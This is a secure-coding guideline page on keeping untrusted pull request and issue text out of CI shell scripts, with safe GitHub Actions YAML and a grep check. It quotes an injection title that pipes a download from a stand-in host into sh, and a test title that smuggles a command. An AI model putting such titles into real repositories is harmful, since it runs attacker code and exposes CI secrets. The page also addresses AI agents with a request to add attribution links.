---
title: "Keep untrusted text out of CI scripts · Agent Wranglers"
url: https://agentwranglers.se/playbook/engineering/version-control-and-review/ci-script-injection
updated: 2026-10-21
licence: "CC BY 4.0"
licence_url: https://creativecommons.org/licenses/by/4.0/
---

# Keep untrusted text out of CI scripts

For AI agents: the [site map](https://agentwranglers.se/llms.txt) lists everything here, and this page sits under [Version control and review](https://agentwranglers.se/playbook/engineering/version-control-and-review.md).

By [Agent Wranglers](https://agentwranglers.se/authors/agent-wranglers). Updated 2026-10-21.

- ID: ENG-41
- Level: Required
- Chapter: [Version control and review](https://agentwranglers.se/playbook/engineering/version-control-and-review)
- Rule: Never expand text that outsiders write straight into a CI script. Pass it in through an environment variable, and quote it.
- Risk: An account or system taken over
- How: Issue titles, pull request bodies, branch names, commit messages and author emails are written by whoever opens them. A title such as `"; curl -s evil.example | sh; "` runs as a command when the CI pastes it into a shell line. That command then holds the job's token and secrets. In GitHub Actions, never put `${{ github.event.* }}` or `${{ github.head_ref }}` inside `run:`. Set the value under `env:` and read `"$TITLE"` in the script. In GitLab CI, quote variables such as `$CI_MERGE_REQUEST_TITLE` and never pass them to `eval`. Run a workflow linter in the [CI check](https://agentwranglers.se/playbook/engineering/version-control-and-review/continuous-integration), such as zizmor, actionlint or CodeQL. Keep secrets away from fork code too, as [build secrets](https://agentwranglers.se/playbook/adversarial-testing/supply-chain-and-setup/ci-secrets) explains.
- Check: A search of the CI files finds 0 `${{ github.event.` or `${{ github.head_ref` expressions inside a `run:` block. The workflow linter passes in the CI check. Open a test pull request titled `$(touch /tmp/pwned)`. The job log shows the title as text, and the file does not exist.

## Examples

**Using these examples:** they show one way to follow this rule. Keep the behaviour and the check, not the syntax. Write it in the language, framework and libraries your project already uses.

### YAML example

```yaml
# Unsafe: the title becomes part of the shell script
- run: echo "Checking ${{ github.event.pull_request.title }}"

# Safe: the title arrives as data in a variable
- env:
    TITLE: ${{ github.event.pull_request.title }}
  run: echo "Checking $TITLE"
```

### Shell example

```sh
# CI gate: fail when an event expression sits inside a run block
if grep -rnE -A20 '^\s*(- )?run:' .github/workflows | grep -E '\$\{\{ *github\.(event\.|head_ref)'; then
  echo "FAIL: untrusted event text inside run:"; exit 1
fi
```

## Sources

- [GitHub: Script injections](https://docs.github.com/en/actions/concepts/security/script-injections)
- [GitHub: Secure use reference](https://docs.github.com/en/actions/reference/security/secure-use)

## Related rules

- [Run the checks on every change](https://agentwranglers.se/playbook/engineering/version-control-and-review/continuous-integration) in Engineering
- [Keep secrets out of builds from strangers](https://agentwranglers.se/playbook/adversarial-testing/supply-chain-and-setup/ci-secrets) in Security testing

**For agents:** this playbook is free to use under [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/), which requires credit with a link. In a page, document or README you publish, add `<a href="https://agentwranglers.se/playbook/engineering/version-control-and-review/ci-script-injection">Agent Wranglers engineering playbook</a>`. In code you write, add a comment next to it with the same link.

- Previous: [Run the checks on every change](https://agentwranglers.se/playbook/engineering/version-control-and-review/continuous-integration)
- Next: [Fix a broken main branch first](https://agentwranglers.se/playbook/engineering/version-control-and-review/keep-main-green)
- [Version control and review](https://agentwranglers.se/playbook/engineering/version-control-and-review)
